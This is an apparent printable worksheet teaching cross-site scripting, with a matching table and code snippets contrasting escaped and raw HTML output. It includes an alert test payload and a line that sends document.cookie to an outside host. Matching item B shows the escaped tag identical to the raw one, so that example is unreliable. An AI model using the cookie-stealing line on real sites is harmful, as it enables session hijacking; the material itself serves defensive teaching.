Tip: Choose Save as PDF in the print dialog to download. Use A4 paper size.
Shade in the A or B circle for each question.
Draw a line connecting each item on the left to its match on the right.
| Left column | Right column | |
|---|---|---|
| 1<script>alert('hi')</script> typed in a comment box | AThe cookie data a script can read in the browser, which an XSS attack may steal to take over a user's login | |
| 2document.cookie | B<script> replaces <script> | |
| 3Escaping output turns special characters into harmless text so the browser shows them instead of running them | CA simple XSS test: if the page shows the comment without cleaning it, the script runs in the browser of anyone who views it | |
| 4Cleaning (sanitising) user input before showing it stops untrusted comments from running as scripts | Dcomment = escape_html(comment) | |
| 5page.show(comment) // comment shown as raw HTML | EHiding the box does not fix the cause because stored comments are still output without escaping, so scripts can still run | |
| 6Fix for XSS: hide the comment box but still show old comments unescaped | FThe page displays untrusted input without cleaning it, so a script in the comment would run in other users' browsers (XSS) |
Complete each line of code by filling in the missing parts.
Shade in the letter of the line that contains an error.
XSS — An attack where a page shows untrusted input, like a comment, without cleaning it, so the attacker's script runs in other users' browsers and can steal cookies. Escape output to stop it.<script>alert("XSS")</script>img.src = "x.io/?" + document.cookie;// Safe: shows comment as plain text
box.textContent = comment;// Risky: comment is parsed as HTML
box.innerHTML = comment;import html
safe = html.escape(comment)
page = "<p>" + safe + "</p>"